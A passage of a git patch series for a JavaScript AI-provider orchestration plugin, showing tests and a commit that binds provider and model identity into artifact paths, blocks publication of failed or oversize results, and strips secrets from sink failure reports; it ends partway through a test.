INLINE_TAIL_MAX); + assert.ok(unicode.inline_tail.text.endsWith('s'.repeat(20))); + + const over = oversizeTail(); + const truncated = await sinkLocalProviderResultV1(store, { + ...identityFor('dsh', { assignment_id: CHILD_B }), + source: over, + source_truncated: true, + }); + assert.equal(truncated.source_truncated, true); + assert.equal(truncated.complete, false); + assert.equal(truncated.inline_tail.inline_clipped, true); + assert.equal(truncated.inline_tail.source_truncated, true); + assert.equal(truncated.inline_tail.complete, false); + assert.match(truncated.inline_tail.text, /VERDICT: OVERSIZE PASS$/u); + assert.equal(truncated.inline_tail.byte_length <= INLINE_TAIL_MAX, true); + assert.equal(await readAllSanitized(store, truncated.sanitized_ref), over); + }); +}); + +test('CLI JSONL extraction preserves complete available output without bounding', () => { + const stdout = [ + JSON.stringify({ result: 'result candidate', text: 'secondary' }), + JSON.stringify({ text: 'next chunk' }), + 'plain tail', + ].join('\n'); + const bytes = collectCliProviderOutputV1(stdout); + assert.equal(bytes.toString('utf8'), 'result candidatenext chunk\nplain tail'); + assert.equal(collectCliProviderOutputV1('').byteLength, 0); +}); + +test('collector retains older chunks until the raw class cap', () => { + const collector = createLocalProviderResultCollectorV1(); + collector.append('older-output-'); + collector.append('later-verdict'); + const snapshot = collector.snapshot(); + assert.equal(snapshot.overflow, false); + assert.equal(snapshot.source.toString('utf8'), 'older-output-later-verdict'); +}); + +test('legacy tasks without run identity do not bind a sink envelope', () => { + assert.equal(localProviderResultIdentityFromTaskV1({ + id: 'task-1', + provider: 'grok', + }), null); + const bound = localProviderResultIdentityFromTaskV1({ + id: 'task-1', + run_id: RUN_ID, + assignment_id: 'lane-alpha', + provider: 'dsh', + dsh_model: DSH_MODEL, + }); + assert.equal(bound.run_id, RUN_ID); + assert.equal(bound.model, DSH_MODEL); + assert.equal(Object.isFrozen(bound), true); +}); + +async function workerFixture(extra = {}) { + const root = await mkdtemp(path.join(tmpdir(), 'co-engineer-p11-acp-')); + chmodSync(root, 0o700); + const cwd = path.join(root, 'worktree'); + await mkdir(cwd); + const id = extra.id ?? 'task-1'; + await createTask({ + root, + prompt: extra.prompt ?? 'review this repository', + record: { + id, + status: 'accepted', + provider: extra.provider ?? 'grok', + ...(extra.run_id ? { run_id: extra.run_id } : {}), + ...(extra.assignment_id ? { assignment_id: extra.assignment_id } : {}), + ...(extra.model ? { model: extra.model } : {}), + ...(extra.dshModel ? { dsh_model: extra.dshModel } : {}), + cwd, + agent_argv: extra.agentArgv ?? [process.execPath, FAKE_AGENT, '--mode', extra.mode ?? 'normal'], + ...(extra.cliArgv ? { cli_argv: extra.cliArgv } : {}), + timeout_ms: extra.timeoutMs ?? 5_000, + }, + }); + return { root, cwd, taskId: id }; +} + +async function withFakeAcpx(mode, callback) { + const names = ['CODEX_CO_ENGINEER_ACPX_COMMAND', 'FAKE_ACPX_MODE']; + const previous = Object.fromEntries(names.map((name) => [name, process.env[name]])); + process.env.CODEX_CO_ENGINEER_ACPX_COMMAND = FAKE_ACPX; + process.env.FAKE_ACPX_MODE = mode; + try { + return await callback(); + } finally { + for (const name of names) { + if (previous[name] === undefined) delete process.env[name]; + else process.env[name] = previous[name]; + } + } +} + +test('Grok ACP with run identity stores the complete result after terminal publication', async () => { + const value = await workerFixture({ + provider: 'grok', + id: 'grok-p11-sink', + run_id: RUN_ID, + assignment_id: 'lane-alpha', + model: GROK_MODEL, + prompt: 'terminal-verdict', + }); + const terminal = await runAcpTask({ root: value.root, taskId: value.taskId }); + assert.equal(terminal.status, 'completed'); + assert.match(terminal.result, /VERDICT: ACP PASS$/u); + assert.equal(terminal.result_truncated, true); + assert.equal(terminal.provider_result_sink.published, true); + assert.equal(terminal.provider_result_sink.provider, 'grok'); + assert.equal(terminal.provider_result_sink.inline_tail.inline_clipped, true); + assert.match(terminal.provider_result_sink.inline_tail.text, /VERDICT: ACP PASS$/u); + const store = await openLocalProviderArtifactStoreV1(value.root); + const stored = await readAllSanitized(store, terminal.provider_result_sink.sanitized_ref); + assert.match(stored, /VERDICT: ACP PASS$/u); + assert.ok(stored.length > String(terminal.result).length); +}); + +test('Cursor Local ACP with run identity preserves legacy bounded result beside artifacts', async () => { + const value = await workerFixture({ + provider: 'cursor-local', + id: 'cursor-p11-sink', + run_id: RUN_ID, + assignment_id: 'lane-beta', + model: CURSOR_MODEL, + prompt: 'terminal-verdict', + }); + const terminal = await runAcpTask({ root: value.root, taskId: value.taskId }); + assert.equal(terminal.status, 'completed'); + assert.equal(terminal.provider, 'cursor-local'); + assert.match(terminal.result, /VERDICT: ACP PASS$/u); + assert.equal(terminal.provider_result_sink.published, true); + assert.equal(terminal.provider_result_sink.assignment_id, 'lane-beta'); + assert.equal(terminal.provider_result_sink.inline_tail.source_truncated, false); +}); + +test('DSH ACPX with run identity sinks nested JSON after provider terminal', async () => { + const value = await workerFixture({ + provider: 'dsh', + id: 'dsh-p11-object', + run_id: RUN_ID, + assignment_id: 'lane-gamma', + dshModel: DSH_MODEL, + }); + const terminal = await withFakeAcpx('terminal-object', () => runAcpTask({ + root: value.root, taskId: value.taskId, + })); + assert.equal(terminal.status, 'completed'); + assert.match(terminal.result.nested.final, /VERDICT: DSH OBJECT PASS$/u); + assert.equal(terminal.provider_result_sink.published, true); + assert.equal(terminal.provider_result_sink.media_type, 'application/json'); + assert.match(terminal.provider_result_sink.inline_tail.text, /VERDICT: DSH OBJECT PASS/u); +}); + +test('CLI fallback with run identity stores complete available output when transport-clipped', async () => { + const value = await workerFixture({ + id: 'cli-p11-sink', + run_id: RUN_ID, + assignment_id: 'lane-alpha', + model: GROK_MODEL, + cliArgv: [process.execPath, FAKE_CLI_TERMINAL_VERDICT], + }); + const { task } = await readTask(value.root, value.taskId); + const terminal = await runCliFallback({ + root: value.root, + task, + prompt: 'private fallback prompt', + }); + assert.equal(terminal.status, 'completed'); + assert.match(terminal.result, /VERDICT: CLI PASS$/u); + assert.equal(terminal.provider_result_sink.published, true); + assert.match(terminal.provider_result_sink.inline_tail.text, /VERDICT: CLI PASS$/u); + assert.equal(JSON.stringify(terminal.provider_result_sink).includes('private fallback prompt'), false); +}); + +test('legacy ACP completion without run identity keeps 3.2.1 result shape', async () => { + const value = await workerFixture({ id: 'legacy-no-identity', prompt: 'normal' }); + const terminal = await runAcpTask({ root: value.root, taskId: value.taskId }); + assert.equal(terminal.status, 'completed'); + assert.equal(terminal.provider_result_sink, undefined); +}); + +test('sanitized oversize fails closed without reporting an artifact', async () => { + await withStore(async (store, root) => { + const over = Buffer.alloc(MAX_SANITIZED_ARTIFACT_BYTE_LENGTH + 1, 0x61); + const error = await errorOfAsync( + () => sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source: over, + }), + 'artifact_stream_over_cap', + ); + assert.equal(JSON.stringify({ code: error.code, message: error.message }).includes(root), false); + }); +}); From 8a9596f8e39a066a4a86e8a9774da6a13795f398 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 01:13:24 +0000 Subject: [PATCH 32/81] fix(provider): bind P11 sink identity and fail closed Bind provider, model, and optional child-envelope digest into the P07-strict provider-report path so Grok, Cursor Local, and digest identities cannot share an ArtifactRef. Failed ACP turns never publish partial text as complete. Collector overflow is handled inside attachLocalProviderResultSink without rewriting the provider terminal. contentFreeSinkFailureV1 allowlists closed code/path and uses a generic bounded message. --- CHANGELOG.md | 12 + docs/r1-local-provider-result-sink.md | 20 +- .../codex-co-engineer/mcp/v3/acp-worker.mjs | 27 +-- .../mcp/v3/local-provider-result-sink.mjs | 102 +++++++- ...-provider-result-sink-adversarial.test.mjs | 36 ++- .../r1-local-provider-result-sink.test.mjs | 219 +++++++++++++++++- 6 files changed, 386 insertions(+), 30 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index df74959..b6b6808 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,18 @@ ## [Unreleased] +### Fixed + +- **P11 identity namespace, non-success, overflow, and content-free failure.** + Provider-report ArtifactRef paths now bind `provider`, `model`, and + optional child-envelope digest into a P07-strict namespace so two + identities cannot share a path or ref. Failed/cancelled ACP turns never + publish accumulated partial text as complete. Collector overflow at the + raw class cap is handled inside `attachLocalProviderResultSink` with + typed content-free evidence and does not rewrite the provider terminal + or claim complete output. `contentFreeSinkFailureV1` allowlists closed + code/path values and uses one generic bounded message. + ### Added - **Local provider result sink.** Adds additive v3 diff --git a/docs/r1-local-provider-result-sink.md b/docs/r1-local-provider-result-sink.md index 8085240..ff80a8e 100644 --- a/docs/r1-local-provider-result-sink.md +++ b/docs/r1-local-provider-result-sink.md @@ -23,7 +23,12 @@ sinkLocalProviderResultV1(store, options) - `media_type` — optional identity-encoded text media type Local providers only: `grok`, `cursor-local`, `dsh`. Cursor Cloud is -denied. Identities are never guessed from `task.id`. +denied. Identities are never guessed from `task.id`. The ArtifactRef +relative path is +`runs/{run_id}/{assignment_id}/{provider}/{identity_binding}/provider-report.{ext}`, +where `identity_binding` is the SHA-256 of length-prefixed provider, +model, and optional child-envelope digest, so two identities cannot +share a path or ref. ## Publication @@ -62,9 +67,16 @@ remain P09's. `acp-worker.mjs` is the only serialized integration. It publishes the legacy bounded `task.result` first, then attaches optional `provider_result_sink` metadata. Sink failure after provider terminal is -typed content-free evidence; it does not invent completion, change -provider status, or replay work. Tasks without exact run/child/model -identity keep the 3.2.1 path unchanged. +typed content-free evidence with a closed code/path and a generic +bounded message; it does not invent completion, change provider status, +or replay work. Tasks without exact run/child/model identity keep the +3.2.1 path unchanged. + +Failed, cancelled, or other non-success ACP turns never publish +accumulated partial text as complete. Collector overflow at the raw +class cap is handled inside `attachLocalProviderResultSink` with typed +content-free nonpublication evidence and does not rewrite the provider +terminal. Provider completion remains evidence, never acceptance. diff --git a/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs b/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs index d1e1788..0760eb6 100644 --- a/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs +++ b/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs @@ -17,6 +17,7 @@ import { } from './local-provider-result-sink.mjs'; import { recordNeedsAttention, replyDecision, waitForReply } from './mailbox.mjs'; import { boundedProviderResult, boundedProviderValue, createProviderResultAccumulator, providerCharCount } from './provider-result.mjs'; +import { RunContractV1Error } from './run-manifest.mjs'; import { appendTaskEvent, readPrompt, readRuntimeRecord, readTask, taskPaths, updateTask } from './task-store.mjs'; process.umask(0o077); @@ -67,21 +68,20 @@ function fail(code, message) { throw new AcpWorkerError(code, message); } -function sinkSourceFromCollector(collector) { - const snapshot = collector.snapshot(); - if (snapshot.overflow === true) { - throw new AcpWorkerError( - 'artifact_stream_over_cap', - 'The provider result exceeded the raw artifact class cap; nothing was published.', - ); - } - return snapshot.source; -} - -async function attachLocalProviderResultSink(root, task, source, sourceTruncated = false) { +export async function attachLocalProviderResultSink( + root, task, source, sourceTruncated = false, overflow = false, +) { const identity = localProviderResultIdentityFromTaskV1(task); if (identity == null) return task; try { + if (task?.status !== 'completed') { + throw new RunContractV1Error('artifact_sink_not_published', 'sink', + 'The local provider result sink did not publish after provider terminal.'); + } + if (overflow === true) { + throw new RunContractV1Error('artifact_stream_over_cap', 'source', + 'The provider result exceeded the raw artifact class cap; nothing was published.'); + } const store = await openLocalProviderArtifactStoreV1(root); const receipt = await sinkLocalProviderResultV1(store, { ...identity, @@ -964,8 +964,9 @@ export async function runAcpTask({ root, taskId, signal } = {}) { finished_at: new Date().toISOString(), }); await appendTaskEvent(root, taskId, { type: 'terminal', status, stop_reason: result.stopReason ?? null }); + const snapshot = complete.snapshot(); return attachLocalProviderResultSink( - root, terminal, sinkSourceFromCollector(complete), false, + root, terminal, snapshot.source, false, snapshot.overflow === true, ); } catch (error) { const failure = publicError(error, prompt); diff --git a/plugins/codex-co-engineer/mcp/v3/local-provider-result-sink.mjs b/plugins/codex-co-engineer/mcp/v3/local-provider-result-sink.mjs index f01fd5b..53cad6f 100644 --- a/plugins/codex-co-engineer/mcp/v3/local-provider-result-sink.mjs +++ b/plugins/codex-co-engineer/mcp/v3/local-provider-result-sink.mjs @@ -40,6 +40,9 @@ import { chmod, mkdir } from 'node:fs/promises'; import path from 'node:path'; import { types as utilTypes } from 'node:util'; +import { + validateArtifactRelativePathV1, +} from './artifact-path.mjs'; import { ARTIFACT_REF_SCHEMA_ID, MAX_RAW_ARTIFACT_BYTE_LENGTH, @@ -158,6 +161,7 @@ export const LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS = capturedFreeze([ export const LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES = capturedFreeze([ 'artifact_sink_failed', + 'artifact_sink_not_published', 'artifact_sink_not_verified', 'artifact_stream_invalid_chunk', 'artifact_stream_invalid_source', @@ -166,10 +170,48 @@ export const LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES = capturedFreeze([ 'invalid_type', 'local_provider_required', 'missing_key', + 'proxy_denied', 'unknown_key', 'unknown_provider', ]); +export const LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE = + 'The local provider result sink did not publish after provider terminal.'; + +export const LOCAL_PROVIDER_RESULT_SINK_FAILURE_CODE_ALLOWLIST = capturedFreeze([ + ...LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES, + 'accessor_property_denied', + 'artifact_content_conflict', + 'artifact_digest_mismatch', + 'artifact_length_mismatch', + 'artifact_metadata_conflict', + 'artifact_stream_failed', + 'non_enumerable_property_denied', + 'own_undefined_denied', + 'sanitizer_content_encoding_denied', + 'sanitizer_empty_output', + 'sanitizer_media_type_denied', +]); + +export const LOCAL_PROVIDER_RESULT_SINK_FAILURE_PATH_ALLOWLIST = capturedFreeze([ + 'artifact_ref', + 'inline_tail', + 'options.assignment_id', + 'options.child_envelope_digest', + 'options.media_type', + 'options.model', + 'options.provider', + 'options.run_id', + 'options.source', + 'options.source_truncated', + 'provenance', + 'relative_path', + 'root', + 'sanitized', + 'sink', + 'source', +]); + const PRIVATE_SHA256_PATTERN = /^[0-9a-f]{64}$/u; const INTRINSIC_VIEW_SURFACE_KEYS = capturedFreeze([ 'buffer', @@ -274,8 +316,42 @@ function mediaExtension(mediaType) { return 'txt'; } -function providerReportPath(runId, assignmentId, mediaType) { - return `runs/${runId}/${assignmentId}/provider-report.${mediaExtension(mediaType)}`; +function uint32be(length) { + const header = BUFFER_ALLOC(4); + header[0] = (length >>> 24) & 0xff; + header[1] = (length >>> 16) & 0xff; + header[2] = (length >>> 8) & 0xff; + header[3] = length & 0xff; + return header; +} + +function identityNamespaceDigest(identity) { + const provider = BUFFER_FROM(identity.provider, 'utf8'); + const model = BUFFER_FROM(identity.model, 'utf8'); + const digest = BUFFER_FROM(identity.child_envelope_digest ?? '', 'utf8'); + return CREATE_HASH('sha256') + .update(uint32be(provider.byteLength)) + .update(provider) + .update(uint32be(model.byteLength)) + .update(model) + .update(uint32be(digest.byteLength)) + .update(digest) + .digest('hex'); +} + +function providerReportPath(identity, mediaType) { + const binding = identityNamespaceDigest(identity); + const relativePath = `runs/${identity.run_id}/${identity.assignment_id}/${identity.provider}/${binding}/provider-report.${mediaExtension(mediaType)}`; + validateArtifactRelativePathV1(relativePath, 'relative_path'); + return relativePath; +} + +export function localProviderResultReportPathV1(identity, mediaType = 'text/plain') { + if (identity === null || typeof identity !== 'object' || Array.isArray(identity)) { + failSink('invalid_type', 'identity', + 'A provider-report path requires a bounded identity object.'); + } + return providerReportPath(identity, mediaType); } function encodeJsonValue(value) { @@ -643,23 +719,26 @@ function publishedReceipt(identity, mediaType, relativePath, provenance, inlineT export function contentFreeSinkFailureV1(error) { const fromContract = error instanceof RunContractV1Error; - const code = fromContract && typeof error.code === 'string' + const rawCode = fromContract && typeof error.code === 'string' ? error.code : 'artifact_sink_failed'; - const field = fromContract && typeof error.path === 'string' + const rawPath = fromContract && typeof error.path === 'string' ? error.path : 'sink'; - const message = fromContract - ? diagnostic(error.message) - : 'The local provider result sink failed after provider terminal publication.'; + const code = capturedIncludes(LOCAL_PROVIDER_RESULT_SINK_FAILURE_CODE_ALLOWLIST, rawCode) + ? rawCode + : 'artifact_sink_failed'; + const field = capturedIncludes(LOCAL_PROVIDER_RESULT_SINK_FAILURE_PATH_ALLOWLIST, rawPath) + ? rawPath + : 'sink'; return freezeData({ schema: LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID, version: LOCAL_PROVIDER_RESULT_SINK_VERSION, published: false, error: freezeData({ code, - path: diagnostic(field), - message, + path: field, + message: LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE, }), }); } @@ -721,7 +800,7 @@ export async function sinkLocalProviderResultV1(store, input) { return emptyReceipt(identity, sourceTruncated); } - const relativePath = providerReportPath(identity.run_id, identity.assignment_id, mediaType); + const relativePath = providerReportPath(identity, mediaType); const rawRef = parseArtifactRefV1({ schema: ARTIFACT_REF_SCHEMA_ID, run_id: identity.run_id, @@ -762,9 +841,12 @@ capturedFreeze(createLocalProviderResultCollectorV1); capturedFreeze(collectCliProviderOutputV1); capturedFreeze(contentFreeSinkFailureV1); capturedFreeze(localProviderResultIdentityFromTaskV1); +capturedFreeze(localProviderResultReportPathV1); capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_PROVIDERS); capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_OPTION_KEYS); capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_RECEIPT_KEYS); capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_KEYS); capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS); capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES); +capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_FAILURE_CODE_ALLOWLIST); +capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_FAILURE_PATH_ALLOWLIST); diff --git a/plugins/codex-co-engineer/test/r1-local-provider-result-sink-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-local-provider-result-sink-adversarial.test.mjs index b6160d9..9d493c7 100644 --- a/plugins/codex-co-engineer/test/r1-local-provider-result-sink-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-local-provider-result-sink-adversarial.test.mjs @@ -9,8 +9,10 @@ import { ARTIFACT_REF_SCHEMA_ID } from '../mcp/v3/artifact-ref.mjs'; import { publishArtifactV1, openArtifactStoreV1 } from '../mcp/v3/artifact-store.mjs'; import { LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS, + LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE, LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID, contentFreeSinkFailureV1, + localProviderResultReportPathV1, sinkLocalProviderResultV1, } from '../mcp/v3/local-provider-result-sink.mjs'; import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; @@ -227,7 +229,7 @@ test('idempotent restart succeeds and conflicting or tampered artifacts fail clo const other = Buffer.from('tampered sanitized bytes that are not the original\n', 'utf8'); await publishArtifactV1(store, conflictingSanitizedRef( - `runs/${RUN_ID}/${CHILD_B}/provider-report.txt`, + localProviderResultReportPathV1(identityFor('dsh', { assignment_id: CHILD_B })), other, ), other); const afterRaw = await expectCode( @@ -271,16 +273,48 @@ test('content-free sink failure evidence never carries bytes secrets or handles' assert.equal(evidence.published, false); assert.deepEqual(Object.keys(evidence), [...LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS]); assert.equal(evidence.error.code, 'artifact_content_conflict'); + assert.equal(evidence.error.path, 'artifact_ref'); + assert.equal(evidence.error.message, LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE); assert.equal(Object.isFrozen(evidence), true); const noisy = new Error(`failed to write ${SECRET} at /tmp/not-a-real-store`); const fallback = contentFreeSinkFailureV1(noisy); assert.equal(fallback.error.code, 'artifact_sink_failed'); + assert.equal(fallback.error.path, 'sink'); + assert.equal(fallback.error.message, LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE); assert.equal(JSON.stringify(fallback).includes(SECRET), false); assert.equal(JSON.stringify(fallback).includes('/tmp/not-a-real-store'), false); assert.equal(utilTypes.isProxy(fallback), false); }); +test('secret-bearing RunContractV1Error never echoes into sink failure evidence', () => { + const secretPath = `source/${SECRET}`; + const secretMessage = `failed to write ${SECRET} at /tmp/not-a-real-store`; + const secretError = new RunContractV1Error('artifact_sink_failed', secretPath, secretMessage); + const evidence = contentFreeSinkFailureV1(secretError); + const serialized = JSON.stringify(evidence); + assert.equal(evidence.published, false); + assert.equal(evidence.error.code, 'artifact_sink_failed'); + assert.equal(evidence.error.path, 'sink'); + assert.equal(evidence.error.message, LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE); + assert.equal(serialized.includes(SECRET), false); + assert.equal(serialized.includes(secretPath), false); + assert.equal(serialized.includes('/tmp/not-a-real-store'), false); + assert.equal(evidence.error.message.includes(SECRET), false); + assert.equal(evidence.error.path.includes(SECRET), false); + + const unknown = contentFreeSinkFailureV1(new RunContractV1Error( + 'not_a_closed_code', + 'not_a_closed_path', + `echo ${SECRET}`, + )); + assert.equal(unknown.error.code, 'artifact_sink_failed'); + assert.equal(unknown.error.path, 'sink'); + assert.equal(unknown.error.message, LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE); + assert.equal(JSON.stringify(unknown).includes(SECRET), false); + assert.equal(JSON.stringify(unknown).includes('not_a_closed_code'), false); +}); + test('string chunk streams that are not intrinsic views still sanitize split tokens', async () => { await withStore(async (store, root) => { const text = `prefix ${SECRET} trailing VERDICT: CHUNK PASS`; diff --git a/plugins/codex-co-engineer/test/r1-local-provider-result-sink.test.mjs b/plugins/codex-co-engineer/test/r1-local-provider-result-sink.test.mjs index fce530c..1e4e0db 100644 --- a/plugins/codex-co-engineer/test/r1-local-provider-result-sink.test.mjs +++ b/plugins/codex-co-engineer/test/r1-local-provider-result-sink.test.mjs @@ -6,15 +6,20 @@ import path from 'node:path'; import test from 'node:test'; import { fileURLToPath } from 'node:url'; +import { isArtifactRelativePathV1 } from '../mcp/v3/artifact-path.mjs'; import { readSanitizedArtifactV1 } from '../mcp/v3/artifact-reader.mjs'; import { + MAX_RAW_ARTIFACT_BYTE_LENGTH, MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, } from '../mcp/v3/artifact-ref.mjs'; import { openArtifactStoreV1 } from '../mcp/v3/artifact-store.mjs'; import { LOCAL_PROVIDER_RESULT_ARTIFACT_KIND, LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES, + LOCAL_PROVIDER_RESULT_SINK_FAILURE_CODE_ALLOWLIST, LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS, + LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE, + LOCAL_PROVIDER_RESULT_SINK_FAILURE_PATH_ALLOWLIST, LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_KEYS, LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_MAX_BYTES, LOCAL_PROVIDER_RESULT_SINK_OPTION_KEYS, @@ -25,13 +30,14 @@ import { collectCliProviderOutputV1, createLocalProviderResultCollectorV1, localProviderResultIdentityFromTaskV1, + localProviderResultReportPathV1, openLocalProviderArtifactStoreV1, sinkLocalProviderResultV1, } from '../mcp/v3/local-provider-result-sink.mjs'; import { ARTIFACT_SANITIZER_VERSION } from '../mcp/v3/artifact-sanitizer.mjs'; -import { runAcpTask, runCliFallback } from '../mcp/v3/acp-worker.mjs'; +import { attachLocalProviderResultSink, runAcpTask, runCliFallback } from '../mcp/v3/acp-worker.mjs'; import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; -import { createTask, readTask } from '../mcp/v3/task-store.mjs'; +import { createTask, readTask, updateTask } from '../mcp/v3/task-store.mjs'; import { CHILD_B, CURSOR_MODEL, @@ -127,6 +133,10 @@ test('the closed sink vocabulary and caps are exported frozen', () => { assert.deepEqual([...LOCAL_PROVIDER_RESULT_SINK_PROVIDERS], ['grok', 'cursor-local', 'dsh']); assert.ok(LOCAL_PROVIDER_RESULT_SINK_RECEIPT_KEYS.includes('inline_tail')); assert.ok(LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES.includes('local_provider_required')); + assert.ok(LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES.includes('artifact_sink_not_published')); + assert.ok(LOCAL_PROVIDER_RESULT_SINK_FAILURE_CODE_ALLOWLIST.includes('artifact_content_conflict')); + assert.ok(LOCAL_PROVIDER_RESULT_SINK_FAILURE_PATH_ALLOWLIST.includes('sink')); + assert.equal(LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE.includes('secret'), false); }); test('the sink module uses P09/P10/P08 authorities and does not import protected seams', () => { @@ -156,6 +166,8 @@ test('Grok Cursor and DSH strings JSON values and stream chunks publish under ex assert.equal(grok.raw_ref.artifact_class, 'raw'); assert.equal(grok.sanitized_ref.artifact_class, 'sanitized'); assert.equal(grok.raw_ref.relative_path, grok.sanitized_ref.relative_path); + assert.equal(grok.relative_path, localProviderResultReportPathV1(identityFor('grok'))); + assert.equal(isArtifactRelativePathV1(grok.relative_path), true); assert.equal(grok.complete, true); assert.equal(grok.source_truncated, false); assert.equal(grok.inline_tail.inline_clipped, false); @@ -271,6 +283,92 @@ test('collector retains older chunks until the raw class cap', () => { assert.equal(snapshot.source.toString('utf8'), 'older-output-later-verdict'); }); +test('collector overflow at the raw class cap never silently claims complete bytes', () => { + const collector = createLocalProviderResultCollectorV1(); + collector.append(Buffer.alloc(MAX_RAW_ARTIFACT_BYTE_LENGTH, 0x61)); + assert.equal(collector.snapshot().overflow, false); + collector.append(Buffer.from([0x62])); + const snapshot = collector.snapshot(); + assert.equal(snapshot.overflow, true); + assert.equal(snapshot.byte_length, MAX_RAW_ARTIFACT_BYTE_LENGTH); + assert.equal(snapshot.source.byteLength, MAX_RAW_ARTIFACT_BYTE_LENGTH); +}); + +test('Grok vs Cursor Local model and digest identities never share a path or ref', async () => { + await withStore(async (store) => { + const source = grokText('VERDICT: ALIAS PASS'); + const grok = await sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source, + }); + const cursor = await sinkLocalProviderResultV1(store, { + ...identityFor('cursor-local'), + source, + }); + assert.equal(isArtifactRelativePathV1(grok.relative_path), true); + assert.equal(isArtifactRelativePathV1(cursor.relative_path), true); + assert.notEqual(grok.relative_path, cursor.relative_path); + assert.equal(grok.raw_ref.sha256, cursor.raw_ref.sha256); + assert.notEqual(grok.raw_ref.relative_path, cursor.raw_ref.relative_path); + assert.notEqual(JSON.stringify(grok.raw_ref), JSON.stringify(cursor.raw_ref)); + assert.match(grok.relative_path, /\/grok\//u); + assert.match(cursor.relative_path, /\/cursor-local\//u); + assert.equal(grok.relative_path.includes(':'), false); + assert.equal(cursor.relative_path.includes(':'), false); + + const otherModel = await sinkLocalProviderResultV1(store, { + ...identityFor('grok', { model: 'grok-4' }), + source: grokText('VERDICT: MODEL PASS'), + }); + assert.notEqual(otherModel.relative_path, grok.relative_path); + assert.match(otherModel.relative_path, /\/grok\//u); + + const digestA = 'a'.repeat(64); + const digestB = 'b'.repeat(64); + const withA = await sinkLocalProviderResultV1(store, { + ...identityFor('grok', { assignment_id: CHILD_B, child_envelope_digest: digestA }), + source: grokText('VERDICT: DIGEST A'), + }); + const withB = await sinkLocalProviderResultV1(store, { + ...identityFor('grok', { assignment_id: CHILD_B, child_envelope_digest: digestB }), + source: grokText('VERDICT: DIGEST B'), + }); + const without = await sinkLocalProviderResultV1(store, { + ...identityFor('grok', { assignment_id: CHILD_B }), + source: grokText('VERDICT: DIGEST NONE'), + }); + assert.notEqual(withA.relative_path, withB.relative_path); + assert.notEqual(withA.relative_path, without.relative_path); + assert.notEqual(withB.relative_path, without.relative_path); + assert.equal(withA.child_envelope_digest, digestA); + assert.equal(withB.child_envelope_digest, digestB); + assert.equal(without.child_envelope_digest, null); + + const slashModel = 'org/model:tag'; + const encoded = await sinkLocalProviderResultV1(store, { + ...identityFor('dsh', { assignment_id: 'lane-delta', model: slashModel }), + source: 'slash-colon-model', + }); + assert.equal(isArtifactRelativePathV1(encoded.relative_path), true); + assert.equal(encoded.relative_path.includes(':'), false); + assert.equal(encoded.relative_path.includes('org/model'), false); + assert.equal(encoded.model, slashModel); + assert.equal( + encoded.relative_path, + localProviderResultReportPathV1(identityFor('dsh', { assignment_id: 'lane-delta', model: slashModel })), + ); + + const restart = await sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source, + }); + assert.equal(restart.relative_path, grok.relative_path); + assert.equal(restart.raw_digest, grok.raw_digest); + assert.equal(restart.sanitized_digest, grok.sanitized_digest); + assert.equal(JSON.stringify(restart.raw_ref), JSON.stringify(grok.raw_ref)); + }); +}); + test('legacy tasks without run identity do not bind a sink envelope', () => { assert.equal(localProviderResultIdentityFromTaskV1({ id: 'task-1', @@ -416,6 +514,123 @@ test('legacy ACP completion without run identity keeps 3.2.1 result shape', asyn assert.equal(terminal.provider_result_sink, undefined); }); +test('failed Grok ACP turn never publishes accumulated output as complete', async () => { + const value = await workerFixture({ + provider: 'grok', + id: 'grok-p11-failed', + run_id: RUN_ID, + assignment_id: 'lane-alpha', + model: GROK_MODEL, + prompt: 'provider-failure', + }); + const terminal = await runAcpTask({ root: value.root, taskId: value.taskId }); + assert.equal(terminal.status, 'failed'); + assert.equal(terminal.prompt_dispatched, true); + assert.equal(terminal.fallback_safe, false); + assert.ok(terminal.error); + assert.equal(terminal.provider_result_sink.published, false); + assert.equal(terminal.provider_result_sink.error.code, 'artifact_sink_not_published'); + assert.equal(terminal.provider_result_sink.error.message, LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE); + 